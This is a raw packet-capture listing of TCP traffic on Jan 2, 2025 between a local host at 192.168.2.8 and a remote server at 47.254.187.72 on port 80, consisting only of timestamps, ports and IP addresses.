Jan 2, 2025 20:20:08.232534885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.232546091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.232557058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.232592106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.232713938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.234240055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.234256983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.234268904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.234280109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.234388113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.234388113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.237699032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.237711906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.237723112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.237734079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.237860918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.237860918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.239273071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.239321947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.239331961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.239360094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.239367008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.239397049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.239420891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.239420891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.239520073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.254666090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.254795074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.254813910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.254826069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.254837036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.254837990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.254849911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.254852057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.254862070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.254931927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.254931927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.259833097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.259898901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.259929895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.259942055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.259953022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.259963989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.259974957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.259985924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.260000944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.260035992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.260035992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.263165951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.263184071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.263195992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.263206005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.263217926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.263228893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.263236046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.263240099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.263252020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.263281107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.263360977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.266899109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.266990900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.267007113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.267014980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.267019033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.267028093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.267040014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.267050982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.267184019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.273808002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.273829937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.273842096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.273853064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.273864031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.273874998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.273886919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.273925066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.273951054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.273951054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.280246973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280260086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280272007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280277967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280288935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280299902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280312061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280392885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.280394077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.280927896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280940056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280955076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280965090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280977011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280987024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.280997038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.281011105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.281011105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.281070948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.289210081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.289230108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.289242029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.289282084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.289293051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.289304018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.289314985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.289324999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.289330006 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.289350033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.289393902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.289393902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.292912006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.292933941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.292944908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.292989016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.292999029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.293011904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.293023109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.293025017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.293035030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.293045998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.293046951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.293073893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.293180943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.298856974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.298870087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.298880100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.298892021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.298903942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.298914909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.298938990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.298990011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.374202967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374248028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374258041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374277115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374286890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374286890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.374385118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.374385118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.374645948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374701023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374721050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374735117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374746084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.374772072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.374883890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.376341105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.376355886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.376368999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.376380920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.376416922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.376777887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.377275944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.377289057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.377300978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.377312899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.377347946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.377464056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.379205942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.379216909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.379236937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.379250050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.379319906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.379370928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.381310940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.381335974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.381346941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.381361008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.381380081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.381728888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.382144928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.382654905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.383223057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.383233070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.383250952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.383260012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.383305073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.383343935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.385211945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.385391951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.386116982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.386176109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.386188984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.386204004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.386218071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.386234999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.386351109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.388664961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.388705969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.388715982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.388727903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.388739109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.388770103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.388770103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.388875961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.392977953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.392990112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.393172026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.393192053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.393234015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.393244028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.393512964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.394947052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.394958019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.394968987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.394979954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.395015955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.395083904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.397627115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.397639990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.397650957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.397674084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.397689104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.397708893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.397824049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.402101994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.402112007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.402123928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.402143955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.402158976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.402183056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.402672052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.405391932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.405469894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.405482054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.405493975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.405601978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.405663967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.407814026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.407834053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.407844067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.407861948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.407871008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.407895088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.407994032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.411484003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.411521912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.411534071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.411612034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.411644936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.415083885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.415137053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.415148973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.415168047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.415175915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.415225029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.415322065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.416637897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.416649103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.416660070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.416671991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.416682959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.416722059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.416766882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.419433117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.419444084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.419450998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.419466972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.419564009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.419564009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.421976089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.421988010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.422004938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.422058105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.422060966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.422091007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.422101021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.422122955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.422220945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.425098896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.425110102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.425121069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.425131083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.425187111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.425187111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.428145885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.428158998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.428169966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.428180933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.428190947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.428211927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.428257942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.429233074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.429245949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.429261923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.429320097 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.429608107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.431358099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.431370020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.431381941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.431397915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.431408882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.431420088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.431461096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.431461096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.432069063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.432079077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.432209015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.432238102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.432245016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.432519913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.433648109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.433657885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.433737993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.433737993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.433903933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.433914900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.434349060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.434525013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.434582949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.434593916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.434603930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.434621096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.434644938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.434731960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.434731960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.442435980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.442481995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.442492962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.442502975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.442533970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.442657948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.443583012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.443603992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.443614006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.443624973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.443653107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.443839073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.444526911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.444550037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.444561958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.444571972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.444601059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.444627047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.444627047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.446639061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.446651936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.446669102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.446680069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.446686983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.446708918 CET	49704	80	192.168.2.8	47.254.187.72
